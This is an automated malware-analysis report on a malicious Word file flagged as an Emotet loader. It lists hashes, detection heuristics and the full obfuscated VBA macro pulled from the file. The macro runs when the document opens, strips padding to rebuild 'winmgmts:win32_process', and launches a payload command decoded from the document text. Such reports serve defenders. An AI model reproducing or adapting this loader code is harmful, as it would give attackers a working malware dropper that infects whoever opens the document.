Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 339c853c4a7cd559…

MALICIOUS

Office (OLE)

165.0 KB Created: 2021-01-22 08:32:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: d52137a55332941d490a7503c5ea9c25 SHA-1: ad4071ea9fb6cc4b923c77d92898053d010af00c SHA-256: 339c853c4a7cd559f635eab5cdac887389ee52d62ccf93a075968a833939e428
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set U65vn93p4es1m62yry = CreateObject(Akzj6fiz_ai9)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16802 bytes
SHA-256: aca9316956f3c2042a2002b787c0059c1e5a646e44f317e6951449e0af5acb97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
131 of 223 identifiers look randomly generated (e.g. 'Uutim3dwcs_7gsdlk_'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "R2no5m9mc5sr4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Rgq8ma2syve4q
End Sub

Attribute VB_Name = "Agz71hs3z6_w"
    

Attribute VB_Name = "Rc1t14t7_pghed1l6"
Function Rgq8ma2syve4q()
   GoTo IPRucn
Set xdwcsGF = WpdkRfIHD
    Dim zjwdiBAAS, IqBqBAv, zjpZHI As Long
    Dim UziQA As Word.Paragraph
    Dim RRaYGF() As Byte
    For Each UziQA In R2no5m9mc5sr4.Paragraphs
        RRaYGF = UziQA.Range
        dscc = "sadsaccc" & UziQA.Range
        IqBqBAv = UBound(RRaYGF) - 1
        zjwdiBAAS = 0
Set MFaxD = MyexHRFFL
        Do Until IqBqBAv > IqBqBAv
            If RRaYGF(IqBqBAv) = 46 Or IqBqBAv = IqBqBAv Then
                dscc = "sasdsacc" & (zjwdiBAAS / 2) + 1 & " to " & (IqBqBAv / 2) + 1 & MidB$(RRaYGF, zjwdiBAAS + 1, IqBqBAv - zjwdiBAAS + 3)
                zjwdiBAAS = IqBqBAv + 2
            End If
            IqBqBAv = IqBqBAv + 2
        Loop
    Next
IPRucn:
skuwd = Kw4r3s_heap + R2no5m9mc5sr4 _
. _
Content + Pz_gz6lql0236rlc
   GoTo CXcTDGR
Set iNUdm = VkAWwHGOl
    Dim LfPXIY, zNTnraGJk, gIryJPA As Long
    Dim PAIrQ As Word.Paragraph
    Dim YadGWHAQ() As Byte
    For Each PAIrQ In R2no5m9mc5sr4.Paragraphs
        YadGWHAQ = PAIrQ.Range
        dscc = "sadsaccc" & PAIrQ.Range
        zNTnraGJk = UBound(YadGWHAQ) - 1
        LfPXIY = 0
Set qLhKQCbGH = BnDVl
        Do Until zNTnraGJk > zNTnraGJk
            If YadGWHAQ(zNTnraGJk) = 46 Or zNTnraGJk = zNTnraGJk Then
                dscc = "sasdsacc" & (LfPXIY / 2) + 1 & " to " & (zNTnraGJk / 2) + 1 & MidB$(YadGWHAQ, LfPXIY + 1, zNTnraGJk - LfPXIY + 3)
                LfPXIY = zNTnraGJk + 2
            End If
            zNTnraGJk = zNTnraGJk + 2
        Loop
    Next
CXcTDGR:
wjnsc = "x [ sh bpx [ sh b"
Pjuckaieznz74a = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo dmRFBFG
Set hVOYPHF = XiISnYYIB
    Dim faXaGfIg, QTHPtNv, REnkz As Long
    Dim DvmJGJI As Word.Paragraph
    Dim SJRwFILn() As Byte
    For Each DvmJGJI In R2no5m9mc5sr4.Paragraphs
        SJRwFILn = DvmJGJI.Range
        dscc = "sadsaccc" & DvmJGJI.Range
        QTHPtNv = UBound(SJRwFILn) - 1
        faXaGfIg = 0
Set XCyCAEE = sVxcvslCD
        Do Until QTHPtNv > QTHPtNv
            If SJRwFILn(QTHPtNv) = 46 Or QTHPtNv = QTHPtNv Then
                dscc = "sasdsacc" & (faXaGfIg / 2) + 1 & " to " & (QTHPtNv / 2) + 1 & MidB$(SJRwFILn, faXaGfIg + 1, QTHPtNv - faXaGfIg + 3)
                faXaGfIg = QTHPtNv + 2
            End If
            QTHPtNv = QTHPtNv + 2
        Loop
    Next
dmRFBFG:
K587dwuaod9eda = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo LnwxGqJ
Set uCOvlXAH = xqUzgi
    Dim pBofPIABH, rEMIHfBII, XFsMcJCJO As Long
    Dim VQgnNIDD As Word.Paragraph
    Dim RhjrAjI() As Byte
    For Each VQgnNIDD In R2no5m9mc5sr4.Paragraphs
        RhjrAjI = VQgnNIDD.Range
        dscc = "sadsaccc" & VQgnNIDD.Range
        rEMIHfBII = UBound(RhjrAjI) - 1
        pBofPIABH = 0
Set LCxNHCEHU = hzvHH
        Do Until rEMIHfBII > rEMIHfBII
            If RhjrAjI(rEMIHfBII) = 46 Or rEMIHfBII = rEMIHfBII Then
                dscc = "sasdsacc" & (pBofPIABH / 2) + 1 & " to " & (rEMIHfBII / 2) + 1 & MidB$(RhjrAjI, pBofPIABH + 1, rEMIHfBII - pBofPIABH + 3)
                pBofPIABH = rEMIHfBII + 2
            End If
            rEMIHfBII = rEMIHfBII + 2
        Loop
    Next
LnwxGqJ:
Tcl33wrr7r1 = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo ukDqib
Set LduIYDFG = CXYAYBF
    Dim TqENJ, JaZCWXZ, MXtzF As Long
    Dim fukCJFQE As Word.Paragraph
    Dim AhFYELCs() As Byte
    For Each fukCJFQE In R2no5m9mc5sr4.Paragraphs
        AhFYELCs = fukCJFQE.Range
        dscc = "sadsaccc" & fukCJFQE.Range
        JaZCWXZ = UBound(AhFYELCs) - 1
        TqENJ = 0
Set nvLFGtHB = ThYnAEHAT
        Do Until JaZCWXZ > JaZCWXZ
            If AhFYELCs(JaZCWXZ) = 46 Or JaZCWXZ = JaZCWXZ Then
                dscc = "sasdsacc" & (TqENJ / 2) + 1 & " to " & (JaZCWXZ / 2) + 1 & MidB$(AhFYELCs, TqENJ + 1, JaZCWXZ - TqENJ + 3)
                TqENJ = JaZCWXZ + 2
            End If
            JaZCWXZ = JaZCWXZ + 2
        Loop
    Next
ukDqib:
Lcvdwry8opy45 = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo DxZoEVH
Set tMAwl = clpQeFEDt
    Dim eghuJG, pSdjpk, PzvcqEy As Long
    Dim YPYYCL As Word.Paragraph
    Dim TxsWAhH() As Byte
    For Each YPYYCL In R2no5m9mc5sr4.Paragraphs
        TxsWAhH = YPYYCL.Range
        dscc = "sadsaccc" & YPYYCL.Range
        pSdjpk = UBound(TxsWAhH) - 1
        eghuJG = 0
Set MekUNGbI = nGeAFvG
        Do Until pSdjpk > pSdjpk
            If TxsWAhH(pSdjpk) = 46 Or pSdjpk = pSdjpk Then
                dscc = "sasdsacc" & (eghuJG / 2) + 1 & " to " & (pSdjpk / 2) + 1 & MidB$(TxsWAhH, eghuJG + 1, pSdjpk - eghuJG + 3)
                eghuJG = pSdjpk + 2
            End If
            pSdjpk = pSdjpk + 2
        Loop
    Next
DxZoEVH:
Uutim3dwcs_7gsdlk_ = Tcl33wrr7r1 + Lcvdwry8opy45 + K587dwuaod9eda + wjnsc + Pjuckaieznz74a
   GoTo dXzuDk
Set WXxmIJ = hJOEE
    Dim SqbXHJ, gYATyAY, pTocCE As Long
    Dim rGJVJPdHJ As Word.Paragraph
    Dim fCsVmtAo() As Byte
    For Each rGJVJPdHJ In R2no5m9mc5sr4.Paragraphs
        fCsVmtAo = rGJVJPdHJ.Range
        dscc = "sadsaccc" & rGJVJPdHJ.Range
        gYATyAY = UBound(fCsVmtAo) - 1
        SqbXHJ = 0
Set AhJyXf = AHbQCbBDw
        Do Until gYATyAY > gYATyAY
            If fCsVmtAo(gYATyAY) = 46 Or gYATyAY = gYATyAY Then
                dscc = "sasdsacc" & (SqbXHJ / 2) + 1 & " to " & (gYATyAY / 2) + 1 & MidB$(fCsVmtAo, SqbXHJ + 1, gYATyAY - SqbXHJ + 3)
                SqbXHJ = gYATyAY + 2
            End If
            gYATyAY = gYATyAY + 2
        Loop
    Next
dXzuDk:
Akzj6fiz_ai9 = Ns_s1upderpd(Uutim3dwcs_7gsdlk_)
   GoTo vreonH
Set EueciPQE = TuBLC
    Dim oBZPRCDw, opEJUmnB, odcbCIx As Long
    Dim dEQUAAEKp As Word.Paragraph
    Dim XXRHX() As Byte
    For Each dEQUAAEKp In R2no5m9mc5sr4.Paragraphs
        XXRHX = dEQUAAEKp.Range
        dscc = "sadsaccc" & dEQUAAEKp.Range
        opEJUmnB = UBound(XXRHX) - 1
        oBZPRCDw = 0
Set SjQxntD = WiRBHFJO
        Do Until opEJUmnB > opEJUmnB
            If XXRHX(opEJUmnB) = 46 Or opEJUmnB = opEJUmnB Then
                dscc = "sasdsacc" & (oBZPRCDw / 2) + 1 & " to " & (opEJUmnB / 2) + 1 & MidB$(XXRHX, oBZPRCDw + 1, opEJUmnB - oBZPRCDw + 3)
                oBZPRCDw = opEJUmnB + 2
            End If
            opEJUmnB = opEJUmnB + 2
        Loop
    Next
vreonH:
Set U65vn93p4es1m62yry = CreateObject(Akzj6fiz_ai9)
   GoTo YErfqwmp
Set SBAszFF = LAymfic
    Dim VBMtAFr, gyInFG, ZmONkzFZi As Long
    Dim hTlvKY As Word.Paragraph
    Dim fLpPIEaWh() As Byte
    For Each hTlvKY In R2no5m9mc5sr4.Paragraphs
        fLpPIEaWh = hTlvKY.Range
        dscc = "sadsaccc" & hTlvKY.Range
        gyInFG = UBound(fLpPIEaWh) - 1
        VBMtAFr = 0
Set NnFDj = jZRaB
        Do Until gyInFG > gyInFG
            If fLpPIEaWh(gyInFG) = 46 Or gyInFG = gyInFG Then
                dscc = "sasdsacc" & (VBMtAFr / 2) + 1 & " to " & (gyInFG / 2) + 1 & MidB$(fLpPIEaWh, VBMtAFr + 1, gyInFG - VBMtAFr + 3)
                VBMtAFr = gyInFG + 2
            End If
            gyInFG = gyInFG + 2
        Loop
    Next
YErfqwmp:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Ns_s1upderpd(njcnja)
   GoTo PguyKmE
Set oLdBgaHKC = bGhjD
    Dim rukujIcFE, xtbTDjCD, zFCzNUGLA As Long
    Dim fvomFCAJ As Word.Paragraph
    Dim THHTpt() As Byte
    For Each fvomFCAJ In R2no5m9mc5sr4.Paragraphs
        THHTpt = fvomFCAJ.Range
        dscc = "sadsaccc" & fvomFCAJ.Range
        xtbTDjCD = UBound(THHTpt) - 1
        rukujIcFE = 0
Set tQmPE = WTYzCU
        Do Until xtbTDjCD > xtbTDjCD
            If THHTpt(xtbTDjCD) = 46 Or xtbTDjCD = xtbTDjCD Then
                dscc = "sasdsacc" & (rukujIcFE / 2) + 1 & " to " & (xtbTDjCD / 2) + 1 & MidB$(THHTpt, rukujIcFE + 1, xtbTDjCD - rukujIcFE + 3)
                rukujIcFE = xtbTDjCD + 2
            End If
            xtbTDjCD = xtbTDjCD + 2
        Loop
    Next
PguyKmE:
U65vn93p4es1m62yry.Create nnjasd, Si850haohinu_, Lnuspyw43giebgoc
   GoTo yXEVt
Set qHwmmqHFo = vwTIIaBA
    Dim SXLzd, UzrYg, PnBmCFIBF As Long
    Dim vwHQEJO As Word.Paragraph
    Dim caEqRysFN() As Byte
    For Each vwHQEJO In R2no5m9mc5sr4.Paragraphs
        caEqRysFN = vwHQEJO.Range
        dscc = "sadsaccc" & vwHQEJO.Range
        UzrYg = UBound(caEqRysFN) - 1
        SXLzd = 0
Set eQjPG = RFjrIMC
        Do Until UzrYg > UzrYg
            If caEqRysFN(UzrYg) = 46 Or UzrYg = UzrYg Then
                dscc = "sasdsacc" & (SXLzd / 2) + 1 & " to " & (UzrYg / 2) + 1 & MidB$(caEqRysFN, SXLzd + 1, UzrYg - SXLzd + 3)
                SXLzd = UzrYg + 2
            End If
            UzrYg = UzrYg + 2
        Loop
    Next
yXEVt:
End Function
Function Ns_s1upderpd(Vuajvjrzg9s)
On Error Resume Next
   GoTo LkavC
Set fClpAhI = NEwaZ
    Dim XQptsHbJ, gYqZJCc, qjBCAFHfA As Long
    Dim NsNDzAC As Word.Paragraph
    Dim xwoZJD() As Byte
    For Each NsNDzAC In R2no5m9mc5sr4.Paragraphs
        xwoZJD = NsNDzAC.Range
        dscc = "sadsaccc" & NsNDzAC.Range
        gYqZJCc = UBound(xwoZJD) - 1
        XQptsHbJ = 0
Set SUDFIkH = tVdGH
        Do Until gYqZJCc > gYqZJCc
            If xwoZJD(gYqZJCc) = 46 Or gYqZJCc = gYqZJCc Then
                dscc = "sasdsacc" & (XQptsHbJ / 2) + 1 & " to " & (gYqZJCc / 2) + 1 & MidB$(xwoZJD, XQptsHbJ + 1, gYqZJCc - XQptsHbJ + 3)
                XQptsHbJ = gYqZJCc + 2
            End If
            gYqZJCc = gYqZJCc + 2
        Loop
    Next
LkavC:
Y1wl6x8vb0sj_00xl = Vuajvjrzg9s
   GoTo fqDqtbgI
Set ZKmGADODI = FykAG
    Dim jPAQHAJ, CPjDFIE, sqiuE As Long
    Dim kYHFdBCa As Word.Paragraph
    Dim VggDyC() As Byte
    For Each kYHFdBCa In R2no5m9mc5sr4.Paragraphs
        VggDyC = kYHFdBCa.Range
        dscc = "sadsaccc" & kYHFdBCa.Range
        CPjDFIE = UBound(VggDyC) - 1
        jPAQHAJ = 0
Set HLBdAUTC = nrtmJc
        Do Until CPjDFIE > CPjDFIE
            If VggDyC(CPjDFIE) = 46 Or CPjDFIE = CPjDFIE Then
                dscc = "sasdsacc" & (jPAQHAJ / 2) + 1 & " to " & (CPjDFIE / 2) + 1 & MidB$(VggDyC, jPAQHAJ + 1, CPjDFIE - jPAQHAJ + 3)
                jPAQHAJ = CPjDFIE + 2
            End If
            CPjDFIE = CPjDFIE + 2
        Loop
    Next
fqDqtbgI:
Clmnc8gogn3 = T3_mjrdbb6m_ow(Y1wl6x8vb0sj_00xl)
   GoTo SaTAGwC
Set ntpcBJMDH = OiZxHDHM
    Dim sIDwW, KECLHjNE, WyPrHD As Long
    Dim TicdH As Word.Paragraph
    Dim VxpuIuJLB() As Byte
    For Each TicdH In R2no5m9mc5sr4.Paragraphs
        VxpuIuJLB = TicdH.Range
        dscc = "sadsaccc" & TicdH.Range
        KECLHjNE = UBound(VxpuIuJLB) - 1
        sIDwW = 0
Set yyiGUJI = sKKfbbJ
        Do Until KECLHjNE > KECLHjNE
            If VxpuIuJLB(KECLHjNE) = 46 Or KECLHjNE = KECLHjNE Then
                dscc = "sasdsacc" & (sIDwW / 2) + 1 & " to " & (KECLHjNE / 2) + 1 & MidB$(VxpuIuJLB, sIDwW + 1, KECLHjNE - sIDwW + 3)
                sIDwW = KECLHjNE + 2
            End If
            KECLHjNE = KECLHjNE + 2
        Loop
    Next
SaTAGwC:
Ns_s1upderpd = Clmnc8gogn3
   GoTo prscFo
Set TKMxuH = JghvfXiXY
    Dim CuWmHDiAG, DEbmCuvL, WFSzLFYxJ As Long
    Dim fjpOHqPDA As Word.Paragraph
    Dim hoMVFIrB() As Byte
    For Each fjpOHqPDA In R2no5m9mc5sr4.Paragraphs
        hoMVFIrB = fjpOHqPDA.Range
        dscc = "sadsaccc" & fjpOHqPDA.Range
        DEbmCuvL = UBound(hoMVFIrB) - 1
        CuWmHDiAG = 0
Set FoOWJPBGC = xKZBBFvBm
        Do Until DEbmCuvL > DEbmCuvL
            If hoMVFIrB(DEbmCuvL) = 46 Or DEbmCuvL = DEbmCuvL Then
                dscc = "sasdsacc" & (CuWmHDiAG / 2) + 1 & " to " & (DEbmCuvL / 2) + 1 & MidB$(hoMVFIrB, CuWmHDiAG + 1, DEbmCuvL - CuWmHDiAG + 3)
                CuWmHDiAG = DEbmCuvL + 2
            End If
            DEbmCuvL = DEbmCuvL + 2
        Loop
    Next
prscFo:
End Function
Function T3_mjrdbb6m_ow(Iurtgadyf6tavv59)
   GoTo ibNTGD
Set RVwfJ = drKGcJE
    Dim hpEHWfH, IeQRXhI, fcbTuIJ As Long
    Dim NTUCA As Word.Paragraph
    Dim fIuCIGJBa() As Byte
    For Each NTUCA In R2no5m9mc5sr4.Paragraphs
        fIuCIGJBa = NTUCA.Range
        dscc = "sadsaccc" & NTUCA.Range
        IeQRXhI = UBound(fIuCIGJBa) - 1
        hpEHWfH = 0
Set kVxmJkw = oUhSF
        Do Until IeQRXhI > IeQRXhI
            If fIuCIGJBa(IeQRXhI) = 46 Or IeQRXhI = IeQRXhI Then
                dscc = "sasdsacc" & (hpEHWfH / 2) + 1 & " to " & (IeQRXhI / 2) + 1 & MidB$(fIuCIGJBa, hpEHWfH + 1, IeQRXhI - hpEHWfH + 3)
                hpEHWfH = IeQRXhI + 2
            End If
            IeQRXhI = IeQRXhI + 2
        Loop
    Next
ibNTGD:
   GoTo OPiqBV
Set FZknH = zIejiBgJI
    Dim AvehIGLH, CmyBHshIm, kslLC As Long
    Dim VjeIVKD As Word.Paragraph
    Dim nyoUrMs() As Byte
    For Each VjeIVKD In R2no5m9mc5sr4.Paragraphs
        nyoUrMs = VjeIVKD.Range
        dscc = "sadsaccc" & VjeIVKD.Range
        CmyBHshIm = UBound(nyoUrMs) - 1
        AvehIGLH = 0
Set TfUXRG = nTvXJEJ
        Do Until CmyBHshIm > CmyBHshIm
            If nyoUrMs(CmyBHshIm) = 46 Or CmyBHshIm = CmyBHshIm Then
                dscc = "sasdsacc" & (AvehIGLH / 2) + 1 & " to " & (CmyBHshIm / 2) + 1 & MidB$(nyoUrMs, AvehIGLH + 1, CmyBHshIm - AvehIGLH + 3)
                AvehIGLH = CmyBHshIm + 2
            End If
            CmyBHshIm = CmyBHshIm + 2
        Loop
    Next
OPiqBV:
   GoTo GaVxAA
Set ZODKGxGmI = iczhgEE
    Dim CGRwI, ZDvxAIEE, GfDaBBnBB As Long
    Dim TfUMRDFD As Word.Paragraph
    Dim JrIEDki() As Byte
    For Each TfUMRDFD In R2no5m9mc5sr4.Paragraphs
        JrIEDki = TfUMRDFD.Range
        dscc = "sadsaccc" & TfUMRDFD.Range
        ZDvxAIEE = UBound(JrIEDki) - 1
        CGRwI = 0
Set XGVawzC = JrlUEw
        Do Until ZDvxAIEE > ZDvxAIEE
            If JrIEDki(ZDvxAIEE) = 46 Or ZDvxAIEE = ZDvxAIEE Then
                dscc = "sasdsacc" & (CGRwI / 2) + 1 & " to " & (ZDvxAIEE / 2) + 1 & MidB$(JrIEDki, CGRwI + 1, ZDvxAIEE - CGRwI + 3)
                CGRwI = ZDvxAIEE + 2
            End If
            ZDvxAIEE = ZDvxAIEE + 2
        Loop
    Next
GaVxAA:
T3_mjrdbb6m_ow = Replace(Iurtgadyf6tavv59, "x [ sh b", U2z7znoydx1)
   GoTo FGnICh
Set EHAmDt = QjGZYyDFD
    Dim SLfrGjRWF, hFVXUKx, mgAuU As Long
    Dim kUmvJC As Word.Paragraph
    Dim VhABEF() As Byte
    For Each kUmvJC In R2no5m9mc5sr4.Paragraphs
        VhABEF = kUmvJC.Range
        dscc = "sadsaccc" & kUmvJC.Range
        hFVXUKx = UBound(VhABEF) - 1
        SLfrGjRWF = 0
Set MECdCmhA = brpiPHCF
        Do Until hFVXUKx > hFVXUKx
            If VhABEF(hFVXUKx) = 46 Or hFVXUKx = hFVXUKx Then
                dscc = "sasdsacc" & (SLfrGjRWF / 2) + 1 & " to " & (hFVXUKx / 2) + 1 & MidB$(VhABEF, SLfrGjRWF + 1, hFVXUKx - SLfrGjRWF + 3)
                SLfrGjRWF = hFVXUKx + 2
            End If
            hFVXUKx = hFVXUKx + 2
        Loop
    Next
FGnICh:
   GoTo prriyB
Set JzwWwJ = luVqAsqC
    Dim PgbZHoHG, vCOFCJJEE, aoWHBDE As Long
    Dim ldkwEACBE As Word.Paragraph
    Dim jGttbE() As Byte
    For Each ldkwEACBE In R2no5m9mc5sr4.Paragraphs
        jGttbE = ldkwEACBE.Range
        dscc = "sadsaccc" & ldkwEACBE.Range
        vCOFCJJEE = UBound(jGttbE) - 1
        PgbZHoHG = 0
Set ZmjeDZFBA = xMLBwMB
        Do Until vCOFCJJEE > vCOFCJJEE
            If jGttbE(vCOFCJJEE) = 46 Or vCOFCJJEE = vCOFCJJEE Then
                dscc = "sasdsacc" & (PgbZHoHG / 2) + 1 & " to " & (vCOFCJJEE / 2) + 1 & MidB$(jGttbE, PgbZHoHG + 1, vCOFCJJEE - PgbZHoHG + 3)
                PgbZHoHG = vCOFCJJEE + 2
            End If
            vCOFCJJEE = vCOFCJJEE + 2
        Loop
    Next
prriyB:
   GoTo ofFjJJkBC
Set KmveZJ = GqEtHJl
    Dim lqPEA, oLajOZJE, rnTZWBi As Long
    Dim iqTHHIF As Word.Paragraph
    Dim tbfrGir() As Byte
    For Each iqTHHIF In R2no5m9mc5sr4.Paragraphs
        tbfrGir = iqTHHIF.Range
        dscc = "sadsaccc" & iqTHHIF.Range
        oLajOZJE = UBound(tbfrGir) - 1
        lqPEA = 0
Set UHyhBFC = GjvNGE
        Do Until oLajOZJE > oLajOZJE
            If tbfrGir(oLajOZJE) = 46 Or oLajOZJE = oLajOZJE Then
                dscc = "sasdsacc" & (lqPEA / 2) + 1 & " to " & (oLajOZJE / 2) + 1 & MidB$(tbfrGir, lqPEA + 1, oLajOZJE - lqPEA + 3)
                lqPEA = oLajOZJE + 2
            End If
            oLajOZJE = oLajOZJE + 2
        Loop
    Next
ofFjJJkBC:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.